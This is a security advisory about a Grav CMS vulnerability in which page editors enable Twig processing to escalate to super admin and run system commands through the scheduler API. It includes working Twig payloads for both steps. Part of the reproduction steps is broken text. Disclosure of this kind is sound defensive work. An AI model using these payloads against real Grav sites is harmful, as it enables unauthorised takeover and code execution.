A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.
Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.
This enables exploitation of Grav internal APIs such as:
- grav.user.update() and grav.user.save() for escalating the current user to super admin or admin
- grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution
The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.
admin.pages access)cms-url/login).{% set _ = grav.user.update({
'access': {
'admin': {
'login': true,
'super': true
}
}
}, {}) %}
{% set _ = grav.user.save() %}
{% set _ = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %}
{% set _ = grav.scheduler.save() %}
{% set _ = grav.scheduler.run() %}
curl request.This vulnerability allows: - Privilege Escalation from any user with page editing capabilities to full admin (super) access. - Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.
It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.
{
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T01:24:19Z",
"nvd_published_at": "2025-12-01T21:15:53Z",
"cwe_ids": [
"CWE-1336"
]
}